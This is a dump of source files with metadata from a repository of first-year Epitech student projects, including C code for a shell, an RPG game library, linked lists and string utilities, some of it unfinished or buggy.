**) * my_strlen(str));\n int i = 0;\n int j = 0;\n int k;\n\n if (tab == NULL)\n return (NULL);\n while (str[i] != 0) {\n k = 0;\n if ((tab[j] = malloc(sizeof(char *) * my_strlen(str))) == NULL)\n return (NULL);\n while (str[i] == lim && str[i++] != 0);\n while (str[i] != lim && str[i] != 0)\n tab[j][k++] = str[i++];\n tab[j++][k] = 0;\n while (str[i] == lim && str[i++] != 0);\n }\n tab[j] = NULL;\n return (tab);\n}\n" }, { "alpha_fraction": 0.7936508059501648, "alphanum_fraction": 0.8095238208770752, "avg_line_length": 30.5, "blob_id": "1d0d16b7fbce86b36e09337f423c68b888eacac3", "content_id": "53831f43cfbb6ef8b7e17b8af68c12fb23cc6665", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 63, "license_type": "no_license", "max_line_length": 44, "num_lines": 2, "path": "/README.md", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "# Epitech_Project\nEpitech Student's Project made from 1st year\n" }, { "alpha_fraction": 0.5140449404716492, "alphanum_fraction": 0.5280898809432983, "avg_line_length": 25.073171615600586, "blob_id": "6b548d52aa10b9244b10109499dcea9b63560f10", "content_id": "79bf89e46a0edc5117a8bf0670f58c456b73f791", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1068, "license_type": "no_license", "max_line_length": 75, "num_lines": 41, "path": "/tek1/Advanced/PSU_42sh_2019/src/core/parse_redirections.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** PSU_42sh_2019\n** File description:\n** parse_redirections\n*/\n\n#include \"shell.h\"\n\nlinked_list_t *create_redirection_list(char *str)\n{\n char *beginning = str;\n int i;\n linked_list_t *list = 0;\n char *which;\n\n if (!str) return 0;\n for (i = 0; str[i]; i++) {\n if (str[i] != '<' && str[i] != '>' &&\n !my_str_startswith(str + i, \"<<\") &&\n !my_str_startswith(str + i, \">>\")) continue;\n which = my_str_startswith(str + i, \"<<\") ? \"<<\" :\n (my_str_startswith(str + i, \">>\") ? \">>\" : str[i]);\n str[i] = '\\0';\n list = ll_append(list, my_strdup(beginning));\n list = ll_append(list, my_strdup(which));\n beginning = str + i + my_strlen(which);\n i += my_strlen(which) - 1;\n }\n if (beginning != str + i) list = ll_append(list, my_strdup(beginning));\n return list;\n}\n\ncommand_return_t parse_redirections(char *command)\n{\n linked_list_t *parsed = create_redirection_list(command);\n\n for (linked_list_t *i = parsed; i; i = i->next) {\n\n }\n}" }, { "alpha_fraction": 0.6085156798362732, "alphanum_fraction": 0.6150206923484802, "avg_line_length": 23.171428680419922, "blob_id": "d59802f37191718797c160f10401837a040844ac", "content_id": "a73fa977c2c171babed1e2c18017425cc2f45bbd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1691, "license_type": "no_license", "max_line_length": 72, "num_lines": 70, "path": "/tek1/Game/MUL_my_rpg_2019/lib/game/animation.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** Epitech\n** File description:\n** animation\n*/\n\n#include <stdlib.h>\n#include \"game.h\"\n\nanimation_t *create_animation(sfSprite *sprite)\n{\n animation_t *anim = malloc(sizeof(animation_t));\n\n anim->frames = 0;\n anim->playing = 0;\n anim->sprite = sprite;\n anim->starting_time = 0;\n anim->loop = 1;\n return anim;\n}\n\nvoid start_animation(entity_t *entity, char *anim_name, int time)\n{\n animation_frame_t *frame;\n animation_t *anim = dict_get(entity->animations, anim_name);\n\n if (!anim) return;\n anim->playing = 1;\n anim->starting_time = time;\n frame = anim->frames->data;\n sfSprite_setTextureRect(anim->sprite, frame->rect);\n}\n\nvoid stop_animation(entity_t *entity, char *anim_name)\n{\n animation_t *anim = dict_get(entity->animations, anim_name);\n\n anim->playing = 0;\n anim->starting_time = 0;\n}\n\nvoid animate(animation_t *anim, int time)\n{\n linked_list_t *iterator = anim->frames;\n animation_frame_t *frame;\n\n while (iterator && anim->playing) {\n frame = iterator->data;\n if (frame->time <= time - anim->starting_time && !iterator->next\n && anim->loop) {\n sfSprite_setTextureRect(anim->sprite, frame->rect);\n anim->starting_time = time;\n } else if (frame->time <= time - anim->starting_time) {\n sfSprite_setTextureRect(anim->sprite, frame->rect);\n }\n iterator = iterator->next;\n }\n}\n\nvoid cycle_animations(dictionary_t *animations, int time)\n{\n dictionary_t *iterator = animations;\n\n while (iterator) {\n animation_t *anim = iterator->data;\n animate(anim, time);\n iterator = iterator->next;\n }\n}" }, { "alpha_fraction": 0.5460993051528931, "alphanum_fraction": 0.563829779624939, "avg_line_length": 13.149999618530273, "blob_id": "cc0a098b5561c00d88d88bc70f28c6c8e4e0a78f", "content_id": "f87a6b29c464428352841d0ac8f4afe4632c8e33", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 282, "license_type": "no_license", "max_line_length": 35, "num_lines": 20, "path": "/tek1/Advanced/PSU_42sh_2019/lib/linked/list/ll_len.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** linked_list\n** File description:\n** linked_list\n*/\n\n#include \"linked.h\"\n\nint ll_len(linked_list_t *list)\n{\n linked_list_t *iterator = list;\n int i = 0;\n\n while (iterator) {\n i++;\n iterator = iterator->next;\n }\n return i;\n}" }, { "alpha_fraction": 0.5920471549034119, "alphanum_fraction": 0.6097201704978943, "avg_line_length": 26.200000762939453, "blob_id": "86950a8cd0a676bea6dee67b91be4a562e49b025", "content_id": "11795b7ea491af95539f11e3125c584f2c3f36e7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 679, "license_type": "no_license", "max_line_length": 76, "num_lines": 25, "path": "/tek1/Game/MUL_my_rpg_2019/lib/game/parallax.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** Epitech\n** File description:\n** parallax\n*/\n\n#include \"game.h\"\n\nvoid apply_parallax(linked_list_t *layers, sfView *view, sfVector2f *center)\n{\n layer_t *layer;\n sfVector2f pos = sfView_getCenter(view);\n sfVector2f corner_pos = {0, 0};\n sfVector2f final_pos = {0, 0};\n\n corner_pos.x = pos.x - center->x;\n corner_pos.y = pos.y - center->y;\n for (linked_list_t *i = layers; i; i = i->next) {\n layer = i->data;\n final_pos.x = corner_pos.x - corner_pos.x * layer->scroll_speed.x;\n final_pos.y = corner_pos.y - corner_pos.y * layer->scroll_speed.y;\n sfSprite_setPosition(layer->sprite, final_pos);\n }\n}" }, { "alpha_fraction": 0.5378788113594055, "alphanum_fraction": 0.6515151262283325, "avg_line_length": 13.11111068725586, "blob_id": "b6bd75988af5f8dcf36a053d5f59db33cdf09721", "content_id": "9987a5ebc07bf45185018226ec463ae83630c082", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 132, "license_type": "no_license", "max_line_length": 24, "num_lines": 9, "path": "/tek1/Mathématique/105torus_2019/calcul.py", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n##\n## EPITECH PROJECT, 2019\n## 105torus_2019\n## File description:\n## 105torus\n##\n\ndef bissection(argv):\n \n" }, { "alpha_fraction": 0.5165793895721436, "alphanum_fraction": 0.5497382283210754, "avg_line_length": 12.045454978942871, "blob_id": "f23cb0b8d88b98846166c40a7b63d2ebc1fec0f1", "content_id": "72e7b7d30c35202103acd684f459462d282908b6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 573, "license_type": "no_license", "max_line_length": 57, "num_lines": 44, "path": "/tek1/Game/MUL_my_rpg_2019/lib/game/sf_vectors.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** Epitech\n** File description:\n** sf_vectors\n*/\n\n#include \"game.h\"\n\nsfVector2i sv2i(int x, int y)\n{\n sfVector2i v;\n\n v.x = x;\n v.y = y;\n return v;\n}\n\nsfVector2f sv2f(float x, float y)\n{\n sfVector2f v;\n\n v.x = x;\n v.y = y;\n return v;\n}\n\nsfVector3f sv3f(float x, float y, float z)\n{\n sfVector3f v;\n\n v.x = x;\n v.y = y;\n v.z = z;\n return v;\n}\n\nsfVector2f sv2f_from_ll(linked_list_t *list)\n{\n sfVector2f vector = sv2f(*(double *) ll_get(list, 0),\n *(double *) ll_get(list, 1));\n\n return vector;\n}" }, { "alpha_fraction": 0.4931506812572479, "alphanum_fraction": 0.5068492889404297, "avg_line_length": 21.65517234802246, "blob_id": "501955689585a79c813f5b43c3b87489ac05d98e", "content_id": "a32272b9cfc7fa0c7e20a545fb5cccd635d4adaf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1314, "license_type": "no_license", "max_line_length": 76, "num_lines": 58, "path": "/tek1/Advanced/PSU_42sh_2019/lib/tools/my_str_to_word_array.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_str_to_word_array\n** File description:\n** my_str_to_word_array\n*/\n\n#include <stdlib.h>\n#include \"tools.h\"\n\nint is_in(char c, char a, char z)\n{\n return (c >= a && c <= z);\n}\n\nvoid add_string_to_arr(char *str, char **arr, int *start, counter_t *count)\n{\n str[count->i] = '\\0';\n\n arr[count->j] = str + *start;\n (count->j)++;\n *start = count->i + 1;\n}\n\nvoid calculate_array_size(char *str, counter_t count, int *size)\n{\n while (str[count.i])\n {\n if (!is_in(str[count.i], 'a', 'z') && !is_in(str[count.i], 'A', 'Z')\n && !is_in(str[count.i], '0', '9'))\n (*size)++;\n count.i++;\n }\n}\n\nchar **my_str_to_word_array(char const *str)\n{\n char *new_str = my_strdup(str);\n int size = 0;\n int start = 0;\n char **arr;\n counter_t count;\n count.i = 0;\n count.j = 0;\n\n calculate_array_size(new_str, count, &size);\n count.i = 0;\n arr = malloc(sizeof(char *) * size + 1);\n while (new_str[count.i]) {\n if (!is_in(str[count.i], 'a', 'z') && !is_in(str[count.i], 'A', 'Z')\n && !is_in(str[count.i], '0', '9'))\n add_string_to_arr(new_str, arr, &start, &count);\n count.i++;\n }\n add_string_to_arr(new_str, arr, &start, &count);\n arr[count.j + 1] = 0;\n return (arr);\n}\n" }, { "alpha_fraction": 0.5674999952316284, "alphanum_fraction": 0.5975000262260437, "avg_line_length": 18.095237731933594, "blob_id": "f603f6cf2f1116ac6b170d8fc879f283f174b29d", "content_id": "7ffa3492342036b7186ff37af1edf40b5b2af930", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 400, "license_type": "no_license", "max_line_length": 80, "num_lines": 21, "path": "/tek1/Advanced/PSU_42sh_2019/src/core/builtin_check.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** PSU_42sh_2019\n** File description:\n** builtin_check\n*/\n\n#include \"shell.h\"\n\nint builtin_check(int argc, char **argv, dictionary_t **env,\n dictionary_t *builtins)\n{\n int (*builtin)(int, char **, dictionary_t **) = dict_get(builtins, argv[0]);\n\n if (builtin)\n return builtin(argc, argv, env);\n else {\n // TODO: exec program\n }\n return 0;\n}" }, { "alpha_fraction": 0.4142259359359741, "alphanum_fraction": 0.44909343123435974, "avg_line_length": 20.402984619140625, "blob_id": "55748c048111fd6c7ec8f8ca54cc9872ad866ce9", "content_id": "20cdeb6ee1386900480027fe13ce94c61427d2d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1434, "license_type": "no_license", "max_line_length": 67, "num_lines": 67, "path": "/tek1/Piscine/CPool_infinadd_2019/infin_add.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** infindadd\n** File description:\n** addition by clement fleur\n*/\n\n#include <unistd.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nchar *my_revstr(char *str);\nint my_strlen(char const *str);\n\nint check_result(char *sum, char *term, int result, int diz, int i)\n{\n if (sum[i] == '\\0' && term[i] != '\\0') {\n sum[i] = '0';\n sum[i + 1] = '\\0';\n }\n if (sum[i] != '\\0' && term[i] == '\\0') {\n term[i] = '0';\n term[i + 1] = '\\0';\n }\n result = (sum[i] - 48) + (term[i] - 48) + diz;\n return result;\n}\n\nint infin_add(char **av[], char *res, int result)\n{\n char *sum = my_revstr(av[1]);\n char *term = my_revstr(av[2]);\n int diz = 0;\n int i = 0;\n\n for (i = 0; sum[i] != '\\0' || term[i] != '\\0'; i++) {\n diz = 0;\n result = check_result(sum, term, result, diz, i);\n if (result > 9) {\n result = result % 10;\n diz = 1;\n res[i + 1] = diz + 48;\n }\n res[i] = result + 48;\n }\n if (diz != 0)\n res[i] = diz + 48;\n my_revstr(res);\n my_putstr(res);\n my_putchar('\\n');\n return 0;\n}\n\nint main(int ac, char **av[])\n{\n int put1 = my_strlen(av[1]);\n int put2 = my_strlen(av[2]);\n int *result;\n\n if (ac > 2) {\n result = malloc(sizeof(int)* (put1 + put2));\n infin_add(av, result, 0);\n }\n else\n return 84;\n return 0;\n}\n" }, { "alpha_fraction": 0.6346604228019714, "alphanum_fraction": 0.6424668431282043, "avg_line_length": 17.314285278320312, "blob_id": "798a8b41655dff537a69d366733853b84f589591", "content_id": "21d931f800e011787a2779621226ab7e22739e58", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1281, "license_type": "no_license", "max_line_length": 40, "num_lines": 70, "path": "/tek1/Game/MUL_my_hunter_20192/include/hunter.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2017\n** my_hunter\n** File description:\n** my_hunter functions (header file)\n*/\n\n# include <SFML/Graphics.h>\n# include <stdbool.h>\n# include <stdlib.h>\n# include <stdio.h>\n# include <time.h>\n# include <limits.h>\n\n# ifndef HUNTER_H\n# define HUNTER_H\n\n# define ANNIMA_CNT 1\n# define ASSETS_CNT 9\n\ntypedef enum state {\n\tgameWait,\n\tgamePlay,\n\tgameEnd\n} state_e;\n\ntypedef struct assets {\n\tsfIntRect \t\t\t\t*rec;\n\tsfTexture \t\t\t\t*texture;\n\tsfSprite \t\t\t\t*sprite;\n} assets_t;\n\ntypedef struct animations {\n\tsfClock \t\t\t\t*clock;\n\tsfSprite \t\t\t\t*sprite;\n\tsfInt32 \t\t\t\tmax_duration;\n\tsfInt32 \t\t\t\tupdate;\n} anim_t;\n\ntypedef struct stats {\n\tint \t\t\t\t\tround;\n\tint \t\t\t\t\tscore;\n\tint \t\t\t\t\tshoots;\n\tint \t\t\t\t\tstade;\n\tfloat \t\t\t\t\tspeed_mul;\n\tbool \t\t\t\t\tupdated;\n} playerStat_t;\n\ntypedef struct params {\n\tsfRenderWindow \t\t\t*window;\n\tconst sfView \t\t\t*fixedView;\n\tassets_t \t\t\t\t*assets;\n\tsfText \t\t\t\t\t*text;\n\tsfFont \t\t\t\t\t*default_font;\n\tplayerStat_t \t\t\t*player;\n\tanim_t \t\t\t\t\t*anim;\n\tstate_e \t\t\t\tstate;\n} param_t;\n\nvoid \t\t\t\tcheck_flags(int ac, char **av);\n\nvoid \t\t\t\tchange_state(param_t *param);\nvoid \t\t\t\tgame_wait(param_t *param);\nvoid \t\t\t\tgame_play(param_t *param);\nvoid \t\t\t\tgame_loader(param_t *param);\nvoid\t\t\t\tgame_management(param_t *param);\n\nvoid \t\t\t\tdisplay_score(param_t *param);\n\n# endif" }, { "alpha_fraction": 0.5028571486473083, "alphanum_fraction": 0.6428571343421936, "avg_line_length": 22.366666793823242, "blob_id": "65fdf589f9c4a0e2da70b587d8d329110b876ef8", "content_id": "68df45b845df51e576aaf315b0dbaf620b856586", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 700, "license_type": "no_license", "max_line_length": 64, "num_lines": 30, "path": "/tek1/Functionnal/CPE_corewar_2019/Makefile", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2019\n## CPE_corewar_2019\n## File description:\n## Makefile\n##\n\nMK\t\t=\tmake --no-print-directory\n\nall:\n\t\t@echo -e \"\\033[01m\\033[31mBuilding asm...\\033[00m\"\n\t\t@$(MK) -C asm/\n\t\t@echo -e \"\\033[01m\\033[31mBuilding corewar...\\033[00m\"\n\t\t@$(MK) -C corewar/\n\nclean:\n\t\t@echo -e \"\\033[01m\\033[31mRemoving asm objects...\\033[00m\"\n\t\t@$(MK) clean -C asm/\n\t\t@echo -e \"\\033[01m\\033[31mRemoving corewar objects...\\033[00m\"\n\t\t@$(MK) clean -C corewar/\n\nfclean:\t\tclean\n\t\t@echo -e \"\\033[01m\\033[31mRemoving binary: asm\\033[00m\"\n\t\t@$(MK) fclean -C asm/\n\t\t@echo -e \"\\033[01m\\033[31mRemoving binary: corewar\\033[00m\"\n\t\t@$(MK) fclean -C corewar/\n\nre:\t\tfclean all\n\n.PHONY:\tall corewar asm re clean fclean" }, { "alpha_fraction": 0.6165803074836731, "alphanum_fraction": 0.6373056769371033, "avg_line_length": 12.857142448425293, "blob_id": "6ac66b409d639c6d553414739fdddb012b06f8e1", "content_id": "d7d9a25e4872a4736123e2186ce874ec21128894", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 193, "license_type": "no_license", "max_line_length": 48, "num_lines": 14, "path": "/tek1/Functionnal/CPE_lemin_2019/lib/tools/my_free_assign.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** libtools\n** File description:\n** my_free_assign\n*/\n\n#include <stdlib.h>\n\nvoid *my_free_assign(void *to_free, void *value)\n{\n free(to_free);\n return value;\n}" }, { "alpha_fraction": 0.48473283648490906, "alphanum_fraction": 0.5305343270301819, "avg_line_length": 14.411765098571777, "blob_id": "d5a4834c6d7a0949eaca71fd3c368acf975949df", "content_id": "0391f2dad9090ba50c7a77c450d935fa16a7ee71", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 262, "license_type": "no_license", "max_line_length": 35, "num_lines": 17, "path": "/tek1/Functionnal/CPE_corewar_2019/lib/phoenix/show_params.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** BOO_phoenix_d03_2019\n** File description:\n** show_params.c\n*/\n\n#include \"phoenix.h\"\n\nint show_params (int ac, char **av)\n{\n for (int i = 0; i < ac; i++) {\n my_putstr(av[i]);\n my_putstr(\"\\n\");\n }\n return 0;\n}\n" }, { "alpha_fraction": 0.6338461637496948, "alphanum_fraction": 0.6461538672447205, "avg_line_length": 17.11111068725586, "blob_id": "e79bfab641d8abd30365ec66b563337b8f959e63", "content_id": "51d9f1b2b5d15c1f7fd5ed097cc82e6016f655f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 325, "license_type": "no_license", "max_line_length": 60, "num_lines": 18, "path": "/tek1/Game/MUL_my_rpg_2019/lib/linked/list/ll_prepend.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** linked_list\n** File description:\n** linked_list\n*/\n\n#include \"linked.h\"\n#include <stdlib.h>\n\nlinked_list_t *ll_prepend(linked_list_t *list, void *value)\n{\n linked_list_t *new_list = malloc(sizeof(linked_list_t));\n\n new_list->data = value;\n new_list->next = list;\n return new_list;\n}" }, { "alpha_fraction": 0.7197014093399048, "alphanum_fraction": 0.7265763282775879, "avg_line_length": 33.174495697021484, "blob_id": "656462ccbd4895b5fda85973c165589acf1359d7", "content_id": "d8a81fa3f054c4304e5ba33c58409bb7968e353e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 5091, "license_type": "no_license", "max_line_length": 79, "num_lines": 149, "path": "/tek1/Game/MUL_my_defender_2019/include/game.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** libgame\n** File description:\n** graphics\n*/\n\n#ifndef LIBGAME_H_\n#define LIBGAME_H_\n\n#include <SFML/Graphics.h>\n#include \"tools.h\"\n#include \"linked.h\"\n#include \"json.h\"\n\n// HITBOX TYPES\n#define HITBOX_UNKNOWN 0\n#define HITBOX_DAMAGE 1\n#define HITBOX_WALL 2\n#define HITBOX_TRIGGER 3\n#define HITBOX_PLAYER 4\n\ntypedef struct framebuffer {\n sfColor *pixels;\n unsigned int width;\n unsigned int height;\n} framebuffer_t;\ntypedef struct animation {\n sfSprite *sprite;\n int playing;\n int loop;\n int starting_time;\n linked_list_t *frames;\n} animation_t;\ntypedef struct animation_frame {\n sfIntRect rect;\n int time;\n} animation_frame_t;\ntypedef struct entity {\n sfSprite *sprite;\n sfTexture *texture;\n dictionary_t *animations;\n linked_list_t *hitbox;\n int show;\n int persistant;\n dictionary_t *extra_data;\n} entity_t;\ntypedef struct window_settings {\n char *title;\n int width;\n int height;\n int framerate;\n float zoom;\n int argc;\n char **argv;\n} window_settings_t;\ntypedef struct tileset {\n sfImage *image;\n vector2i_t tile_size;\n vector2i_t size;\n linked_list_t *tiles;\n} tileset_t;\ntypedef struct hitbox {\n entity_t *entity;\n sfFloatRect box;\n int type;\n} hitbox_t;\ntypedef struct collision {\n hitbox_t *box1;\n hitbox_t *box2;\n} collision_t;\ntypedef struct tile {\n sfImage *image;\n tileset_t *tileset;\n linked_list_t *hitbox;\n} tile_t;\ntypedef struct layer {\n sfSprite *sprite;\n sfTexture *texture;\n vector2f_t scroll_speed;\n linked_list_t *tiles;\n} layer_t;\n\nframebuffer_t *framebuffer_create(unsigned int width, unsigned int height);\nvoid framebuffer_destroy(framebuffer_t *fb);\nvoid my_putpixel(framebuffer_t *fb, unsigned int x, unsigned int y, sfColor\n color);\nsfRenderWindow *create_window(char *title, int width, int height);\nsfIntRect create_int_rect(int left, int top, int width, int height);\nsfSprite *create_sprite_from_file(char *filename, sfTexture **tex,\n sfIntRect *rect);\nanimation_t *create_animation(sfSprite *sprite);\nvoid start_animation(entity_t *entity, char *anim_name, int time);\nvoid stop_animation(entity_t *entity, char *anim_name);\nvoid animate(animation_t *anim, int time);\nvoid cycle_animations(dictionary_t *animations, int time);\nvoid animation_destroy(animation_t *anim);\nvoid append_frame(animation_t *anim, int time, sfIntRect rect);\nanimation_t *anim_from_spritesheet(sfSprite *s, sfIntRect size,\n vector2i_t frame_count_and_len, vector2i_t starting_frame);\nentity_t *create_entity(sfSprite *sprite, sfTexture *texture,\n dictionary_t *animations);\ndictionary_t *destroy_entities(dictionary_t *entities, int destroy_persistant);\nvoid display_entities(dictionary_t *entities, sfRenderWindow *window,\n int time);\nsfVector2i sv2i(int x, int y);\nsfVector2f sv2f(float x, float y);\nsfVector3f sv3f(float x, float y, float z);\nint create_game_window(window_settings_t s, dictionary_t *entities,\n int (*game_logic)(sfRenderWindow *, sfClock *, dictionary_t **,\n dictionary_t **), sfClock *clock);\nsfImage *get_tile_image(sfImage *tileset_i, sfIntRect coords);\nlinked_list_t *populate_tileset(tileset_t *tileset, int width, int height,\n vector2i_t tile_size);\ntileset_t *create_tileset(char *file, int width, int height);\nlayer_t *parse_map(linked_list_t *map, tileset_t *t);\nvoid render_layer(sfRenderWindow *win, layer_t *layer);\nvoid render_layers(sfRenderWindow *win, linked_list_t *layers);\nsfFloatRect float_rect(float left, float top, float width, float height);\nvoid apply_parallax(linked_list_t *layers, sfView *view, sfVector2f *center);\nanimation_t *import_animation(char *file);\nentity_t *import_entity(char *filename);\ndictionary_t *imp_add_anim(dictionary_t *animations, sfSprite *sprite,\n animation_t *a, char *name);\nsfFloatRect float_rect_from_ll(linked_list_t *list);\nsfIntRect int_rect_from_ll(linked_list_t *list);\nint hitbox_type(char *type);\nhitbox_t *get_hitbox(int type, sfFloatRect box);\nint check_collision_type(linked_list_t *collisions, int type);\nlinked_list_t *check_collision(sfVector2f pos1, linked_list_t *hitbox1,\n sfVector2f pos2, linked_list_t *hitbox2);\ntileset_t *import_tileset(char *filename);\nvoid destroy_tileset(void *tileset);\nvoid destroy_layer(void *layer);\nsfVector2f sv2f_from_ll(linked_list_t *list);\nvoid import_map(char *filename, dictionary_t **entities,\n dictionary_t **gamedata);\nlinked_list_t *load_layers(json_object_t *obj, dictionary_t **tilesets);\ndictionary_t *load_entities(dictionary_t *entities, linked_list_t *obj);\nvoid parse_hitbox(entity_t *e, linked_list_t *obj);\nlinked_list_t *check_entity_coll(entity_t *e1, entity_t *e2);\nlinked_list_t *check_layer_collision(entity_t *e, layer_t *layer);\nlinked_list_t *check_all_collisions(entity_t *e,\n char *name, dictionary_t *entities, linked_list_t *layers);\nsfFloatRect scale_float_rect(sfFloatRect rect, sfFloatRect scale);\nlinked_list_t *scale_hitbox(linked_list_t *hitbox, sfVector2f scale);\ndictionary_t *sort_entities(dictionary_t *entities);\n\n#endif /* !LIBGAME_H_ */" }, { "alpha_fraction": 0.5320088267326355, "alphanum_fraction": 0.5474613904953003, "avg_line_length": 17.1200008392334, "blob_id": "079ff096ed429d1ba5783d3de2d4127e7cd89cca", "content_id": "6305e1f94ff9b22975b1f5eeb91439331f7857ad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 453, "license_type": "no_license", "max_line_length": 57, "num_lines": 25, "path": "/tek1/Piscine/CPool_Day11_2019/my_print_params.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_print_params\n** File description:\n** \n*/\n\n#include <stdlib.h>\n#include \"mylist.h\"\n\nlinked_list_t *my_params_to_list(char *const *av, int ac)\n{\n linked_list_t *element = 0;\n linked_list_t *tmp = 0;\n int count = 0;\n\n while (count < ac) {\n tmp = malloc(sizeof(linked_list_t));\n tmp->data = (av[count]);\n tmp->next = element;\n final = tmp;\n count++;\n }\n return final;\n}\n" }, { "alpha_fraction": 0.41745731234550476, "alphanum_fraction": 0.44212523102760315, "avg_line_length": 15.46875, "blob_id": "9d3991b9077a6bda98b9f3c219354fa52795f13a", "content_id": "83281f9b78a0fe6fa012d42e95bc711fba11ede1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 527, "license_type": "no_license", "max_line_length": 48, "num_lines": 32, "path": "/tek1/Advanced/PSU_tetris_2019/lib/my/my_strstr.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_strstr\n** File description:\n** task05\n*/\n\nint my_putchar(char c);\n\nint check_common(char *str, char const *to_find)\n{\n int i = 0;\n int check = 0;\n int p = 0;\n\n while (str[i] != '\\0') {\n p = 0;\n while (to_find[p] != '\\0') {\n if (str[i] == to_find[p]) {\n return (to_find[p]);\n }\n p++;\n }\n i++;\n }\n return (0);\n}\n\nchar *my_strstr(char *str, char const *to_find)\n{\n check_common(str, to_find);\n}\n" }, { "alpha_fraction": 0.5289255976676941, "alphanum_fraction": 0.5537189841270447, "avg_line_length": 25.5, "blob_id": "2c506899240f552cccd3949883c2e900a8ba6886", "content_id": "2ee58792ffcbb34d7465ce30ff325aad9ca65de0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 847, "license_type": "no_license", "max_line_length": 80, "num_lines": 32, "path": "/tek1/QuickTest/SYN_palindrome_2019/src/palindromic.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** SYN_palindrome_2019\n** File description:\n** palindromic.c\n*/\n\n#include \"../include/my.h\"\n#include \"../include/palindrome.h\"\n\nint palindromic(palindrome *pal)\n{\n int p = 1;\n int nb = 0;\n int new_nbr = pal->number;\n char *nbrs = malloc(sizeof(char) * 100);\n char *nbrss = malloc(sizeof(char) * 100);\n\n\n if (reverse_nbr(pal->number, pal) == pal->number && pal->imin == 0)\n print_result(pal->number, pal, 0, 0);\n new_nbr = reverse_nbr(pal->number, pal);\n nb = new_nbr;\n for (p = p; p < pal->imax; p++) {\n new_nbr = reverse_nbr(nb, pal);\n nb += new_nbr;\n if ((my_strcmp(my_revstr(baseconv(nbrs, nb, pal->base)), baseconv(nbrss,\n nb, pal->base)) == 1) && (pal->imin <= p))\n return print_result(pal->number, pal, nb, p);\n }\n return 0;\n}" }, { "alpha_fraction": 0.6563380360603333, "alphanum_fraction": 0.6732394099235535, "avg_line_length": 19.941177368164062, "blob_id": "83d32d3e584c1c5e5eb7c79785c2bb0731d50250", "content_id": "e5096c69356b88062f3dfa02adcd2e84ba496a8f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 355, "license_type": "no_license", "max_line_length": 67, "num_lines": 17, "path": "/tek1/Game/MUL_my_rpg_2019/lib/game/my_create_window.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_create_window\n** File description:\n** my_create_window\n*/\n\n#include \"game.h\"\n\nsfRenderWindow *create_window(char *title, int width, int height)\n{\n sfVideoMode mode = {width, height, 32};\n sfRenderWindow *window;\n window = sfRenderWindow_create(mode, title, sfResize | sfClose,\n NULL);\n return window;\n}" }, { "alpha_fraction": 0.5958862900733948, "alphanum_fraction": 0.6073805093765259, "avg_line_length": 24.060606002807617, "blob_id": "7ec1eca8ee9bc0c8852a3936f79d0253904bf088", "content_id": 